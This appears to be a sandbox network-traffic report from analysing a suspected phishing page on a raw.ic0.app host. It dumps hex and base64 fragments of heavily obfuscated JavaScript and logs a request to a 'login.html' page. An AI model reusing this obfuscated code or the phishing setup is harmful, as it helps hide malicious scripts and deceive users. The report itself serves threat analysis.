4f 6e 52 6f 61 58 4e 62 58 7a 42 34 4e 54 68 68 4e 44 52 68 4b 44 42 34 4d 57 52 6b 4b 56 31 39 4f 33 30 37 64 6d 46 7
9 49 46 38 77 65 44 51 7a 4e 6d 56 6c 59 69 78 66 4d 48 68 69 5a 6a 68 6b 59 6a 49 39 4d 48 67 79 4c 46 38 77 65 47 
46 68 4f 44 68 6a 4d 44 31 37 4a 31 78 34 4e 47 56 63 65 44 52 6d 58 48 67 30 5a 56 78 34 4e 44 55 6e 4f 6a 42 34 4d 
43 77 6e 58 48 67 33 4d 69 63 36 4d 48 67 78 4c 43 64 63 65 44 5a 69 4a 
Data Ascii: g2ZVx4NjRceDY1XHg3OCc6XzB4ODAzNTAxLCdceDc2XHg2MVx4NmNceDc1XHg2NSc6XzB4MTY1YTM5
LCdceDZjXHg2NVx4NmVceDY3XHg3NFx4NjgnOnRoaXNbXzB4NThhNDRhKDB4MWRkKV19O307dmFyIF8w
eDQzNmVlYixfMHhiZjhkYjI9MHgyLF8weGFhODhjMD17J1x4NGVceDRmXHg0ZVx4NDUnOjB4MCwnXHg3Mic6MHgxLC
dceDZiJ

2022-07-01 17:36:49 UTC 178 IN Data Raw: 6c 7a 57 79 64 63 65 44 59 78 4a 31 30 39 58 7a 42 34 4d 54 6b 7a 4e 6a 55 35 57 31 38 77 65 44 55 34 4f 
44 51 34 4e 53 67 77 65 44 46 6b 4f 53 6c 64 4b 43 6b 73 64 47 68 70 63 31 73 6e 58 48 67 32 4d 69 64 64 50 58 52 6f 
61 58 4e 62 4a 31 78 34 4e 6a 45 6e 58 56 74 66 4d 48 67 31 4f 44 67 30 4f 44 55 6f 4d 48 67 78 5a 47 51 70 58 54 74 6
9 63 6d 56 68 61 7a 74 6a 59 58 4e 6c 49 46 38 77 65 47 4a 6d 4f 47 52 69 4d 6a 70 32 59 58 49 67 58 7a 42 34 4d 7a 
51 30 4d 44 4d 30 4c 46 38 77 65 44 46 6c 4d 6a 5a 69 59 69 78 66 4d 48 67 34 5a 47 5a 68 4d 6a 49 73 58 7a 42 34 4e 
47 52 69 59 6d 59 77 4c 46 38 77 65 44 51 78 5a 54 4d 33 4e 69 78 66 4d 48 67 7a 4d 47 4d 78 4e 44 45 73 58 7a 42 34 
4d 7a 55 35 5a 57 46 6d 4c 46 38 77 65 44 6b 78 4d 57 4e 6c 4c 46 38 77 65 
Data Ascii: lzWydceDYxJ109XzB4MTkzNjU5W18weDU4ODQ4NSgweDFkOSldKCksdGhpc1snXHg2MiddPXRoaXNb
J1x4NjEnXVtfMHg1ODg0ODUoMHgxZGQpXTticmVhaztjYXNlIF8weGJmOGRiMjp2YXIgXzB4MzQ0MDM0LF8weDFlMj
ZiYixfMHg4ZGZhMjIsXzB4NGRiYmYwLF8weDQxZTM3NixfMHgzMGMxNDEsXzB4MzU5ZWFmLF8weDkxMWNlLF8we
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2022-07-01 17:36:49 UTC 182 IN Data Raw: 67 78 59 6a 56 69 4e 54 46 62 4a 31 78 34 4e 6a 51 6e 58 53 68 66 4d 48 67 30 4d 57 55 7a 4e 7a 59 74 4d 
48 67 30 4c 44 42 34 4e 43 78 66 4d 48 67 78 5a 44 51 34 59 7a 45 70 4c 46 38 77 65 44 55 7a 59 32 45 7a 4e 6a 30 77 
65 44 41 37 58 7a 42 34 4e 54 4e 6a 59 54 4d 32 50 46 38 77 65 44 51 78 5a 54 4d 33 4e 6a 74 66 4d 48 67 31 4d 32 4e 
68 4d 7a 59 72 4b 79 6c 66 4d 48 67 78 59 6a 56 69 4e 54 46 62 4a 31 78 34 4e 6a 51 6e 58 53 68 66 4d 48 67 78 5a 6d 
51 33 4e 54 46 62 58 7a 42 34 4e 54 4e 6a 59 54 4d 32 58 53 77 77 65 44 4d 73 58 7a 42 34 4d 57 51 30 4f 47 4d 78 4b 
54 74 6d 62 33 49 6f 58 7a 42 34 4e 54 4e 6a 59 54 4d 32 50 54 42 34 4d 43 78 66 4d 48 67 31 59 54 6c 6b 4d 6d 55 39 
58 7a 42 34 4d 7a 59 33 5a 47 55 34 57 31 38 77 65 44 55 34 4f 44 51 34 4e 
Data Ascii: gxYjViNTFbJ1x4NjQnXShfMHg0MWUzNzYtMHg0LDB4NCxfMHgxZDQ4YzEpLF8weDUzY2EzNj0weDA7
XzB4NTNjYTM2PF8weDQxZTM3NjtfMHg1M2NhMzYrKylfMHgxYjViNTFbJ1x4NjQnXShfMHgxZmQ3NTFbXzB4NTNjYT
M2XSwweDMsXzB4MWQ0OGMxKTtmb3IoXzB4NTNjYTM2PTB4MCxfMHg1YTlkMmU9XzB4MzY3ZGU4W18weD
U4ODQ4N

2022-07-01 17:36:49 UTC 186 IN Data Raw: 42 6d 4d 54 55 7a 4f 6e 4a 6c 64 48 56 79 62 6c 73 77 65 44 45 78 59 79 78 66 4d 48 67 79 4d 47 59 78 4e 54 
4d 74 4d 48 68 6c 4d 79 77 77 65 44 56 64 4f 32 4e 68 63 32 55 67 4d 48 67 78 4d 44 49 39 50 54 31 66 4d 48 67 79 4d 
47 59 78 4e 54 4d 36 63 6d 56 30 64 58 4a 75 57 7a 42 34 4d 54 46 6b 4c 46 38 77 65 44 49 77 5a 6a 45 31 4d 79 30 77 
65 44 45 77 4d 69 77 77 65 44 42 64 4f 32 52 6c 5a 6d 46 31 62 48 51 36 58 7a 42 34 4d 6a 63 33 59 7a 59 35 4b 46 38 
77 65 44 59 33 5a 47 55 31 4e 43 67 77 65 44 46 6c 5a 53 6b 72 58 7a 42 34 4d 6a 42 6d 4d 54 55 7a 4b 54 74 39 66 58 
5a 68 63 69 42 66 4d 48 67 30 4e 6d 45 33 59 6a 4d 73 58 7a 42 34 4d 32 51 33 59 54 45 78 4c 46 38 77 65 44 51 31 4d 
44 42 6a 4e 6a 31 62 58 54 74 6d 62 33 49 6f 58 7a 42 34 4e 44 5a 68 4e 
Data Ascii: BmMTUzOnJldHVyblsweDExYyxfMHgyMGYxNTMtMHhlMywweDVdO2Nhc2UgMHgxMDI9PT1fMHgyMGYx
NTM6cmV0dXJuWzB4MTFkLF8weDIwZjE1My0weDEwMiwweDBdO2RlZmF1bHQ6XzB4Mjc3YzY5KF8weDY3
ZGU1NCgweDFlZSkrXzB4MjBmMTUzKTt9fXZhciBfMHg0NmE3YjMsXzB4M2Q3YTExLF8weDQ1MDBjNj1bXTtmb3IoXz
B4NDZhN

2022-07-01 17:36:49 UTC 190 IN Data Raw: 45 79 4f 47 55 31 5a 6c 30 37 58 7a 42 34 4e 7a 63 32 4f 54 55 79 57 31 38 77 65 44 55 31 4e 54 51 31 4e 6c 
73 77 65 44 42 64 58 53 73 72 4c 46 38 77 65 44 51 7a 4d 6a 5a 68 4f 56 74 66 4d 48 67 31 4e 54 55 30 4e 54 5a 62 4d 
48 67 7a 58 56 30 72 4b 79 78 66 4d 48 67 7a 4d 44 45 79 4f 54 55 39 58 7a 42 34 4d 54 6c 6a 4e 47 5a 69 57 31 38 77 
65 44 46 68 4e 6a 46 69 4d 53 67 77 65 44 46 6b 5a 43 6c 64 4b 31 38 77 65 44 55 33 5a 44 41 31 4e 79 30 77 65 44 45 
73 58 7a 42 34 4d 6d 51 7a 4e 44 5a 6c 50 57 35 31 62 47 77 37 66 58 5a 68 63 69 42 66 4d 48 67 30 5a 54 51 33 4d 6d 
59 73 58 7a 42 34 4d 7a 55 35 4d 54 6c 6a 4c 46 38 77 65 44 4d 32 4d 54 56 6d 4e 69 78 66 4d 48 67 7a 5a 6d 4d 7a 4f 
47 45 73 58 7a 42 34 4f 44 64 6a 5a 54 45 30 4c 46 38 77 65 44 4e 68 4e 
Data Ascii: EyOGU1Zl07XzB4Nzc2OTUyW18weDU1NTQ1NlsweDBdXSsrLF8weDQzMjZhOVtfMHg1NTU0NTZbMHgz
XV0rKyxfMHgzMDEyOTU9XzB4MTljNGZiW18weDFhNjFiMSgweDFkZCldK18weDU3ZDA1Ny0weDEsXzB4
MmQzNDZlPW51bGw7fXZhciBfMHg0ZTQ3MmYsXzB4MzU5MTljLF8weDM2MTVmNixfMHgzZmMzOGEsXzB4
ODdjZTE0LF8weDNhN

2022-07-01 17:36:49 UTC 194 IN Data Raw: 49 7a 59 79 6b 73 58 7a 42 34 4e 54 46 68 5a 47 49 30 50 57 35 6c 64 79 68 66 4d 48 67 79 59 7a 64 6c 4e 
54 6b 2f 56 57 6c 75 64 44 68 42 63 6e 4a 68 65 54 70 42 63 6e 4a 68 65 53 6b 6f 58 7a 42 34 4d 7a 4e 6d 4e 54 51 33 
4b 54 74 70 5a 69 67 68 58 7a 42 34 4d 6d 4d 33 5a 54 55 35 4b 58 74 6d 62 33 49 6f 58 7a 42 34 4e 57 55 33 59 57 55 
30 50 54 42 34 4d 44 74 66 4d 48 67 31 5a 54 64 68 5a 54 51 38 58 7a 42 34 4d 7a 4e 6d 4e 54 51 33 4f 31 38 77 65 44 
56 6c 4e 32 46 6c 4e 43 73 72 4b 56 38 77 65 44 55 78 59 57 52 69 4e 46 74 66 4d 48 67 31 5a 54 64 68 5a 54 52 64 50 
54 42 34 4d 44 74 39 5a 6d 39 79 4b 46 38 77 65 44 56 6c 4e 32 46 6c 4e 44 30 77 65 44 41 37 58 7a 42 34 4e 57 55 33 
59 57 55 30 50 46 38 77 65 44 4d 7a 5a 6a 55 30 4e 7a 73 72 4b 31 38 77 65 
Data Ascii: IzYyksXzB4NTFhZGI0PW5ldyhfMHgyYzdlNTk/VWludDhBcnJheTpBcnJheSkoXzB4MzNmNTQ3KTtp
ZighXzB4MmM3ZTU5KXtmb3IoXzB4NWU3YWU0PTB4MDtfMHg1ZTdhZTQ8XzB4MzNmNTQ3O18weDVlN2Fl
NCsrKV8weDUxYWRiNFtfMHg1ZTdhZTRdPTB4MDt9Zm9yKF8weDVlN2FlND0weDA7XzB4NWU3YWU0PF8w
eDMzZjU0NzsrK18we

2022-07-01 17:36:49 UTC 198 IN Data Raw: 4d 31 4e 54 55 34 4d 53 6b 73 58 7a 42 34 4e 57 55 33 59 57 55 30 50 54 42 34 4d 43 78 66 4d 48 67 31 4e 
57 46 68 4e 54 51 39 58 7a 42 34 4d 7a 64 6b 4f 57 52 6a 57 31 38 77 65 44 46 6a 4e 7a 55 7a 5a 43 67 77 65 44 46 6b 
5a 43 6c 64 4f 31 38 77 65 44 56 6c 4e 32 46 6c 4e 44 78 66 4d 48 67 31 4e 57 46 68 4e 54 51 37 4b 79 74 66 4d 48 67 3
1 5a 54 64 68 5a 54 51 70 58 7a 42 34 4e 54 46 68 5a 47 49 30 57 31 38 77 65 44 4d 33 5a 44 6c 6b 59 31 74 66 4d 48 
67 31 5a 54 64 68 5a 54 52 64 57 31 38 77 65 44 46 6a 4e 7a 55 7a 5a 43 67 77 65 44 46 6d 4e 53 6c 64 58 54 31 66 4d 
48 67 31 59 7a 6b 32 4e 54 5a 62 58 7a 42 34 4e 57 55 33 59 57 55 30 58 54 74 79 5a 58 52 31 63 6d 34 67 58 7a 42 34 
4e 54 46 68 5a 47 49 30 4f 33 31 6d 64 57 35 6a 64 47 6c 76 62 69 42 66 4d 
Data Ascii: M1NTU4MSksXzB4NWU3YWU0PTB4MCxfMHg1NWFhNTQ9XzB4MzdkOWRjW18weDFjNzUzZC
gweDFkZCldO18weDVlN2FlNDxfMHg1NWFhNTQ7KytfMHg1ZTdhZTQpXzB4NTFhZGI0W18weDM3ZDlkY1tfMHg1ZTdh
ZTRdW18weDFjNzUzZCgweDFmNSldXT1fMHg1Yzk2NTZbXzB4NWU3YWU0XTtyZXR1cm4gXzB4NTFhZGI0
O31mdW5jdGlvbiBfM

2022-07-01 17:36:49 UTC 202 IN Data Raw: 59 31 58 48 67 32 4d 56 78 34 4e 6a 52 63 65 44 59 31 58 48 67 33 4d 6c 78 34 4d 32 46 63 65 44 49 77 58 
48 67 32 59 31 78 34 4e 6a 56 63 65 44 5a 6c 58 48 67 32 4e 31 78 34 4e 7a 52 63 65 44 59 34 58 48 67 79 4d 46 78 34 
4e 7a 5a 63 65 44 59 31 58 48 67 33 4d 6c 78 34 4e 6a 6c 63 65 44 59 32 58 48 67 33 4f 53 63 70 4b 53 78 66 4d 48 67 7
9 4f 54 51 32 59 79 74 66 4d 48 67 7a 59 57 51 34 59 57 51 2b 58 7a 42 34 4f 57 52 6c 59 32 4a 69 57 31 38 77 65 44 49 
79 5a 44 67 7a 5a 53 67 77 65 44 46 6b 5a 43 6c 64 4a 69 5a 66 4d 48 67 79 4e 7a 64 6a 4e 6a 6b 6f 52 58 4a 79 62 33 
49 6f 58 7a 42 34 4d 6a 4a 6b 4f 44 4e 6c 4b 44 42 34 4d 57 59 7a 4b 53 6b 70 4c 48 52 6f 61 58 4e 62 4a 31 78 34 4e 6d 
55 6e 58 53 6c 37 59 32 46 7a 5a 53 42 66 4d 48 67 78 4e 44 59 35 59 
Data Ascii: Y1XHg2MVx4NjRceDY1XHg3Mlx4M2FceDIwXHg2Y1x4NjVceDZlXHg2N1x4NzRceDY4XHgyMFx4NzZc
eDY1XHg3Mlx4NjlceDY2XHg3OScpKSxfMHgyOTQ2YytfMHgzYWQ4YWQ+XzB4OWRlY2JiW18weDIyZDgz
ZSgweDFkZCldJiZfMHgyNzdjNjkoRXJyb3IoXzB4MjJkODNlKDB4MWYzKSkpLHRoaXNbJ1x4NmUnXSl7Y2FzZSBfMH
gxNDY5Y

2022-07-01 17:36:49 UTC 206 IN Data Raw: 51 70 4f 6c 38 77 65 44 51 35 4d 54 63 31 5a 43 78 66 4d 48 67 7a 4e 44 55 32 59 6a 63 39 57 7a 42 34 4d 
43 77 77 65 44 41 73 4d 48 67 77 4c 44 42 34 4d 43 77 77 65 44 41 73 4d 48 67 77 4c 44 42 34 4d 43 77 77 65 44 41 73 
4d 48 67 78 4c 44 42 34 4d 53 77 77 65 44 45 73 4d 48 67 78 4c 44 42 34 4d 69 77 77 65 44 49 73 4d 48 67 79 4c 44 42 
34 4d 69 77 77 65 44 4d 73 4d 48 67 7a 4c 44 42 34 4d 79 77 77 65 44 4d 73 4d 48 67 30 4c 44 42 34 4e 43 77 77 65 44 
51 73 4d 48 67 30 4c 44 42 34 4e 53 77 77 65 44 55 73 4d 48 67 31 4c 44 42 34 4e 53 77 77 65 44 41 73 4d 48 67 77 4c 
44 42 34 4d 46 30 73 58 7a 42 34 4d 6a 5a 6c 4e 47 4a 6a 50 56 38 77 65 44 4a 6a 4e 32 55 31 4f 54 39 75 5a 58 63 67 
56 57 6c 75 64 44 68 42 63 6e 4a 68 65 53 68 66 4d 48 67 7a 4e 44 55 32 59 
Data Ascii: QpOl8weDQ5MTc1ZCxfMHgzNDU2Yjc9WzB4MCwweDAsMHgwLDB4MCwweDAsMHgwLDB4MC
wweDAsMHgxLDB4MSwweDEsMHgxLDB4MiwweDIsMHgyLDB4MiwweDMsMHgzLDB4MywweDMsMHg0LDB4NC
wweDQsMHg0LDB4NSwweDUsMHg1LDB4NSwweDAsMHgwLDB4MF0sXzB4MjZlNGJjPV8weDJjN2U1OT9uZX
cgVWludDhBcnJheShfMHgzNDU2Y
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2022-07-01 17:36:49 UTC 210 IN Data Raw: 5a 31 62 6d 4e 30 61 57 39 75 49 46 38 77 65 44 46 68 4e 57 5a 6c 59 53 68 66 4d 48 67 78 59 32 45 79 4e 
54 55 73 58 7a 42 34 4e 54 52 6b 4f 47 55 30 4b 58 74 32 59 58 49 67 58 7a 42 34 4e 57 49 7a 4f 54 64 69 50 56 38 77 
65 44 46 69 4d 44 41 31 4d 69 78 66 4d 48 67 79 4d 54 6b 30 4f 47 49 73 58 7a 42 34 4d 6a 64 68 5a 6d 4d 7a 4f 33 4e 3
3 61 58 52 6a 61 43 68 30 61 47 6c 7a 57 31 38 77 65 44 56 69 4d 7a 6b 33 59 69 67 77 65 44 46 6a 5a 69 6c 64 50 56 
38 77 65 44 46 6a 59 54 49 31 4e 53 78 30 61 47 6c 7a 57 79 64 63 65 44 59 7a 4a 31 30 39 4d 48 67 77 4c 43 46 66 4d 
48 67 31 4e 47 51 34 5a 54 51 6d 4a 69 68 66 4d 48 67 31 4e 47 51 34 5a 54 51 39 65 33 30 70 66 48 77 6f 58 7a 42 34 
4e 54 52 6b 4f 47 55 30 57 79 64 63 65 44 59 35 58 48 67 32 5a 56 78 34 4e 
Data Ascii: Z1bmN0aW9uIF8weDFhNWZlYShfMHgxY2EyNTUsXzB4NTRkOGU0KXt2YXIgXzB4NWIzOTdiPV8weDFi
MDA1MixfMHgyMTk0OGIsXzB4MjdhZmMzO3N3aXRjaCh0aGlzW18weDViMzk3YigweDFjZildPV8weDFjYTI1NSx0aG
lzWydceDYzJ109MHgwLCFfMHg1NGQ4ZTQmJihfMHg1NGQ4ZTQ9e30pfHwoXzB4NTRkOGU0WydceDY5XHg2ZVx4N

2022-07-01 17:36:49 UTC 214 IN Data Raw: 42 34 4f 44 64 6d 4f 47 49 39 64 47 68 70 63 31 73 6e 58 48 67 32 4d 53 64 64 4f 32 6c 6d 4b 46 38 77 65 44 
4a 6a 4e 32 55 31 4f 53 6c 66 4d 48 67 7a 59 54 68 69 4e 6d 46 62 58 7a 42 34 4d 57 46 69 4d 44 68 69 4b 44 42 34 4d 
57 51 77 4b 56 30 6f 58 7a 42 34 4f 44 64 6d 4f 47 4a 62 4a 31 78 34 4e 7a 4e 63 65 44 63 31 58 48 67 32 4d 6c 78 34 
4e 6a 46 63 65 44 63 79 58 48 67 33 4d 6c 78 34 4e 6a 46 63 65 44 63 35 4a 31 30 6f 4d 48 67 34 4d 44 41 77 4c 46 38 
77 65 44 4e 68 4f 47 49 32 59 56 73 6e 58 48 67 32 59 31 78 34 4e 6a 56 63 65 44 5a 6c 58 48 67 32 4e 31 78 34 4e 7a 
52 63 65 44 59 34 4a 31 30 70 4b 54 74 6c 62 48 4e 6c 65 32 5a 76 63 69 68 66 4d 48 67 7a 59 7a 5a 69 4d 57 51 39 4d 
48 67 77 4c 46 38 77 65 44 52 6d 59 54 67 33 4e 7a 31 66 4d 48 67 7a 59 
Data Ascii: B4ODdmOGI9dGhpc1snXHg2MSddO2lmKF8weDJjN2U1OSlfMHgzYThiNmFbXzB4MWFiMDhiKDB4MWQw
KV0oXzB4ODdmOGJbJ1x4NzNceDc1XHg2Mlx4NjFceDcyXHg3Mlx4NjFceDc5J10oMHg4MDAwLF8weDNhOGI2YVsnXH
g2Y1x4NjVceDZlXHg2N1x4NzRceDY4J10pKTtlbHNle2ZvcihfMHgzYzZiMWQ9MHgwLF8weDRmYTg3Nz1fMHgzY

2022-07-01 17:36:49 UTC 218 IN Data Raw: 45 6f 58 7a 42 34 4e 54 6b 78 4e 6d 59 30 4b 53 59 6d 58 7a 42 34 4d 6a 63 33 59 7a 59 35 4b 45 56 79 63 
6d 39 79 4b 43 64 63 65 44 59 35 58 48 67 32 5a 56 78 34 4e 7a 5a 63 65 44 59 78 58 48 67 32 59 31 78 34 4e 6a 6c 63 
65 44 59 30 58 48 67 79 4d 46 78 34 4e 6a 46 63 65 44 59 30 58 48 67 32 59 31 78 34 4e 6a 56 63 65 44 63 79 58 48 67 
79 5a 46 78 34 4d 7a 4e 63 65 44 4d 79 58 48 67 79 4d 46 78 34 4e 6a 4e 63 65 44 59 34 58 48 67 32 4e 56 78 34 4e 6a 
4e 63 65 44 5a 69 58 48 67 33 4d 31 78 34 4e 7a 56 63 65 44 5a 6b 4a 79 6b 70 4b 53 78 66 4d 48 67 31 4f 54 45 32 5a 
6a 51 37 66 54 74 32 59 58 49 67 58 7a 42 34 4d 7a 68 6c 4d 6d 59 78 50 54 42 34 4f 44 74 6d 64 57 35 6a 64 47 6c 76 
62 69 42 66 4d 48 67 31 59 32 46 6d 4e 6a 4d 6f 58 7a 42 34 4d 54 68 6a 59 
Data Ascii: EoXzB4NTkxNmY0KSYmXzB4Mjc3YzY5KEVycm9yKCdceDY5XHg2ZVx4NzZceDYxXHg2Y1x4NjlceDY0
XHgyMFx4NjFceDY0XHg2Y1x4NjVceDcyXHgyZFx4MzNceDMyXHgyMFx4NjNceDY4XHg2NVx4NjNceDZiXHg3M1x4Nz
VceDZkJykpKSxfMHg1OTE2ZjQ7fTt2YXIgXzB4MzhlMmYxPTB4ODtmdW5jdGlvbiBfMHg1Y2FmNjMoXzB4MThjY

2022-07-01 17:36:49 UTC 222 IN Data Raw: 64 63 65 44 51 7a 4a 31 30 73 4a 31 78 34 4e 44 4a 63 65 44 52 6a 58 48 67 30 5a 6c 78 34 4e 44 4e 63 65 
44 52 69 4a 7a 70 66 4d 48 67 79 59 6a 49 30 4e 54 42 62 4a 31 78 34 4e 44 51 6e 58 58 30 70 4c 46 38 77 65 44 45 32 
59 54 55 78 5a 69 67 6e 58 48 67 31 59 56 78 34 4e 6d 4e 63 65 44 59 35 58 48 67 32 4d 6c 78 34 4d 6d 56 63 65 44 51 
30 58 48 67 32 4e 56 78 34 4e 6a 5a 63 65 44 5a 6a 58 48 67 32 4d 56 78 34 4e 7a 52 63 65 44 59 31 4a 79 78 66 4d 48 
67 31 59 32 46 6d 4e 6a 4d 70 4c 46 38 77 65 44 45 32 59 54 55 78 5a 69 68 66 4d 48 67 78 59 6a 41 77 4e 54 49 6f 4d 
48 67 78 5a 44 59 70 4c 47 5a 31 62 6d 4e 30 61 57 39 75 4b 46 38 77 65 44 52 68 4d 54 59 30 5a 43 78 66 4d 48 67 78 
4f 44 45 78 4e 44 63 70 65 33 4a 6c 64 48 56 79 62 69 42 75 5a 58 63 67 58 
Data Ascii: dceDQzJ10sJ1x4NDJceDRjXHg0Zlx4NDNceDRiJzpfMHgyYjI0NTBbJ1x4NDQnXX0pLF8weDE2YTUx
ZignXHg1YVx4NmNceDY5XHg2Mlx4MmVceDQ0XHg2NVx4NjZceDZjXHg2MVx4NzRceDY1JyxfMHg1Y2Fm
NjMpLF8weDE2YTUxZihfMHgxYjAwNTIoMHgxZDYpLGZ1bmN0aW9uKF8weDRhMTY0ZCxfMHgxODExNDcp
e3JldHVybiBuZXcgX

2022-07-01 17:36:49 UTC 226 IN Data Raw: 4a 63 65 44 4d 30 58 48 67 32 4e 46 78 34 4d 7a 5a 63 65 44 59 32 58 48 67 32 4d 56 78 34 4e 6a 49 6e 4b 
56 74 66 4d 48 67 31 4d 44 63 34 4e 57 49 6f 4d 48 67 78 59 54 67 70 58 56 74 66 4d 48 67 31 4d 44 63 34 4e 57 49 6f 
4d 48 67 78 59 6a 63 70 58 53 67 70 4c 46 38 77 65 44 4d 32 4e 47 5a 6b 4e 7a 31 66 4d 48 67 78 4d 7a 45 30 4e 6d 49 
6f 58 7a 42 34 4d 32 49 32 59 54 63 7a 4b 53 78 66 4d 48 67 31 4e 44 67 79 4e 47 51 39 58 7a 42 34 4e 44 52 6a 5a 54 
52 68 4b 47 35 6c 64 79 42 61 62 47 6c 69 57 79 68 66 4d 48 67 31 4d 44 63 34 4e 57 49 6f 4d 48 67 78 59 32 49 70 4b 
56 30 6f 58 7a 42 34 4d 7a 59 30 5a 6d 51 33 4b 56 74 66 4d 48 67 31 4d 44 63 34 4e 57 49 6f 4d 48 67 78 5a 47 59 70 
58 53 67 70 4b 53 78 66 4d 48 67 7a 4e 54 4d 35 4e 57 45 39 62 6d 56 33 49 
Data Ascii: JceDM0XHg2NFx4MzZceDY2XHg2MVx4NjInKVtfMHg1MDc4NWIoMHgxYTgpXVtfMHg1MDc4NWIoMHgx
YjcpXSgpLF8weDM2NGZkNz1fMHgxMzE0NmIoXzB4M2I2YTczKSxfMHg1NDgyNGQ9XzB4NDRjZTRhKG5ldyBabGliWy
hfMHg1MDc4NWIoMHgxY2IpKV0oXzB4MzY0ZmQ3KVtfMHg1MDc4NWIoMHgxZGYpXSgpKSxfMHgzNTM5NWE9bmV3I

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

5 192.168.2.3 49743 145.40.97.98 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-07-01 17:36:50 UTC 226 OUT GET /css/hover.css HTTP/1.1
Host: h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: text/css,*/*;q=0.1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: style
Referer: https://h6yak-jqaaa-aaaad-qcysq-cai.raw.ic0.app/login.html?okb=o8MWQ8otfZuw6QsAaLjPPIoQ&rhw
h=Pu55NB1yr2jpvYRqSE&plpb=azaaxBfNMnkncPlD1dbKCjabbV&pepwe=NNmUbBHh57IDtuVbpJCTiLbygyk
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
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2022-07-01 17:36:52 UTC 349 IN HTTP/1.1 200 OK
Server: nginx/1.21.3
Date: Fri, 01 Jul 2022 17:36:52 GMT
Content-Type: text/html
Content-Length: 74034
Connection: close
ic-certificate: certificate=:2dn3o2R0cmVlgwGDAYMBgwJIY2FuaXN0ZXKDAYIEWCAQVKwzSZ8Atby0Yodr6
wTbmud3Swtvhm2bhcXcs2AETIMBggRYIIbu2FhlsDgvaMFtAKa5DEKV2Au1uzHWU5TSSRxjuLz5gwGCBFggFRbetAZ
lskRwdIIxVsB1f9KVJj3rugV1UbinI8+wifuDAYMBggRYIN0CClzTXpHKYMh0o/7GUOUDPiRUPiX/+EuBm5H5gk9wg
wGDAYIEWCC2HQDP3BwyUeiobD219uzMOvrh7diHn7nHA4saYe7f5oMBgwGDAYMBgwJKAAAAAABwFiUBA
YMBgwGDAYMCTmNlcnRpZmllZF9kYXRhggNYIKDjdrFhdYN8XaiCRVAKnpGbSO1c/qAuBJaNAFQ1nr4pggRYIIPFa/F
N3j0o3mbGkrX8nZfp3ZhbatcrD+b4ToqN89yyggRYIPBH5p8Vqfj1hRnHFe3gfB6Ynwktu+evoMCF1XJwHCiSggRYI
F+W4fUmhjXLoFGdAzt3ZJ1e8HASiQ7D/3viZbMsAhowggRYILuffDjQiappUTGAqta9I7j0W+DUKqfEGVek6MOSGNW
5ggRYIK8JnebtggnuQTkcoxhNOLBkH0iCcc6a2Ki5x4Kftm98ggRYIN4O245T06Q9GWDPDn5OMRQu1/qIknAokD/EP
I1WVH2GggRYIC1IvxXZuZ5iwfv8cF//MGpNmGtqGqCR03vDN2qdgHFnggRYIGyBtVcxslDerGb3tnpiqj9nSJgJQ0k
htS+R4OPk/H2KggRYIFWQNlm0vxaZjBL6HPZXqj6Z9MdyFBeOLvZsIio/qs/tggRYIGs1Mmn5Ha6EX0cqTGbTmSrci
1Tavn0GZ3w0Kj9zFEGrggRYICKazNELsBFNpmIvTWAg2FcUHOv2wK4QxDguNFaXuWSFgwGCBFggTgsK7
0mpIsr5OY2a8FqkxazyVPwuAGKVTE1pyHw5kdODAkR0aW1lggNJp4DngPKk8f4WaXNpZ25hdHVyZVgwp5ppwQ+C/bW
VnOvBzluKBcTfDvApr+dhty/vGE4jXPBIYqe5YSlxaHoWBKY1DjbKamRlbGVnYXRpb26iaXN1Ym5ldF9pZFgdRReLZ
qQHpNWcCk1nM72izj83wRG0JX7EGQj0+AJrY2VydGlmaWNhdGVZAlfZ2feiZHRyZWWDAYIEWCCD2Yyn8
MT4PvI4zG7qhjI1b281rVAHp/MAdWxDcztrC4MBgwJGc3VibmV0gwGDAYMBggRYIILbkD13Op8gwGxVWf7O1uGq/rM
o760aSLMxY6EHe4ZcgwGCBFggRmpwKGz5rOmAHKU+Iq9u4FmglP1gSYYG1IS2hUBYMH2DAYIEWCBqDNC
BsmiGCC/kxTq3TX6j8oozoI937FKbUm2mgLiUZ4MBgwJYHUUXi2akB6TVnApNZzO9os4/N8ERtCV+xBkI9PgCgwGDA
k9jYW5pc3Rlcl9yYW5nZXOCA1gb2dn3gYJKAAAAAABwAAABAUoAAAAAAH///wEBgwJKcHVibGljX2tleYIDWIUwgYI
wHQYNKwYBBAGC3HwFAwECAQYMKwYBBAGC3HwFAwIBA2EAlV9S9zwt7FmmN7KU5QuTTbXW3innO7z4Tn2
GpKxBute1OfmBet6JFpYdnda/klcBDVhXFW6P5qr89v0Gh5XnC9M5mzQRMAyczI66DQaMEOTPtvTifRlbHq14XWGOs
5O5ggRYIACb5up/r6zo98JL3iVaR+5K50E9UB4zvto/crWh7042ggRYIMxAZ/PAkJXsYM3e1Qv0Q60gC6qyxO/Xzgp
9AL6XuHY+ggRYIC2Fa7p7bIAXHOjl0SG7fkRQs1ZaZE2RNen+WIQoHB+5gwJEdGltZYIDSYSOgbqyiMf+FmlzaWduY
XR1cmVYMJQuWmqZsFNvz5Tl0/EN9uKZEah8c6FLG+7O4gAUbYzFEWVF5JsM83Bk+sfrbVWRrg==:, tree=:2dn3gw
JLaHR0cF9hc3NldHODAYMBgwJLL2luZGV4Lmh0bWyCA1gg2/651mvH1DB9QF5KBay4X7W3HXHvBy9FSe
Vaqi8gDWSCBFggy/oDjj/bjXwmbCRvE2t2RR94ypTM1UsDPm/jm5VLov+CBFggOxsWUDp29QKNhH4SGrydg3UOccMf
bJzjwGrT+WONWu0=:
Access-Control-Allow-Credentials: true
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, HEAD, OPTIONS
Access-Control-Allow-Headers: DNT,User-Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-Type,Ran
ge,Cookie
Access-Control-Expose-Headers: Content-Length,Content-Range
X-Cache-Status: MISS

